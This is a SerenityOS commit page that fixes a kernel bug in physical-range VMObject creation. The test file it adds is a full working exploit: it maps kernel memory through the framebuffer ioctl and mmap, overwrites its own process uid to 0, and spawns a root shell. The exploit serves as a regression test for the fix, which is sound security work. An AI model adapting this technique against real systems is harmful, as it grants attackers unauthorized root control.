summaryrefslogtreecommitdiff
path: root/Tests
diff options
context:
space:
mode:
authorAndreas Kling <kling@serenityos.org>2020-01-28 20:48:07 +0100
committerAndreas Kling <kling@serenityos.org>2020-01-28 20:48:07 +0100
commitc17f80e720b269e88700af4ea13f877b6d72303b (patch)
treeac5327d746b197c0d2c10015d302964bd09e89d2 /Tests
parentbd059e32e14fa4ee6b498be4cc50ae678040d1d4 (diff)
downloadserenity-c17f80e720b269e88700af4ea13f877b6d72303b.zip
Kernel: AnonymousVMObject::create_for_physical_range() should fail more
Previously it was not possible for this function to fail. You could exploit this by triggering the creation of a VMObject whose physical memory range would wrap around the 32-bit limit. It was quite easy to map kernel memory into userspace and read/write whatever you wanted in it. Test: Kernel/bxvga-mmap-kernel-into-userspace.cpp
Diffstat (limited to 'Tests')
-rw-r--r--Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp92
1 files changed, 92 insertions, 0 deletions
diff --git a/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
new file mode 100644
index 0000000000..988860427a
--- /dev/null
+++ b/Tests/Kernel/bxvga-mmap-kernel-into-userspace.cpp
@@ -0,0 +1,92 @@
+#include <AK/Types.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <unistd.h>
+
+int main()
+{
+ int fd = open("/dev/fb0", O_RDWR);
+ if (fd < 0) {
+ perror("open");
+ return 1;
+ }
+
+ size_t width = 17825;
+ size_t height = 1000;
+ size_t pitch = width * 4;
+ size_t framebuffer_size_in_bytes = pitch * height * 2;
+
+ FBResolution original_resolution;
+ if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ FBResolution resolution;
+ resolution.width = width;
+ resolution.height = height;
+ resolution.pitch = pitch;
+
+ if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
+ if (ptr == MAP_FAILED) {
+ perror("mmap");
+ return 1;
+ }
+
+ printf("Success! Evil pointer: %p\n", ptr);
+
+ u8* base = &ptr[128 * MB];
+
+ uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
+ printf("base = %p\n", base);
+ printf("g_processes = %#08x\n", g_processes);
+
+ auto get_ptr = [&](uintptr_t value) -> void* {
+ value -= 0xc0000000;
+ return (void*)&base[value];
+ };
+
+ struct ProcessList {
+ uintptr_t head;
+ uintptr_t tail;
+ };
+
+ struct Process {
+ // 32 next
+ // 40 pid
+ // 44 uid
+ u8 dummy[32];
+ uintptr_t next;
+ u8 dummy2[4];
+ pid_t pid;
+ uid_t uid;
+ };
+
+ ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
+
+ Process* process = (Process*)get_ptr(process_list->head);
+
+ printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
+
+ if (process->pid == getpid()) {
+ printf("That's me! Let's become r00t!\n");
+ process->uid = 0;
+ }
+
+ if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
+ perror("ioctl");
+ return 1;
+ }
+
+ execl("/bin/sh", "sh", nullptr);
+
+ return 0;
+}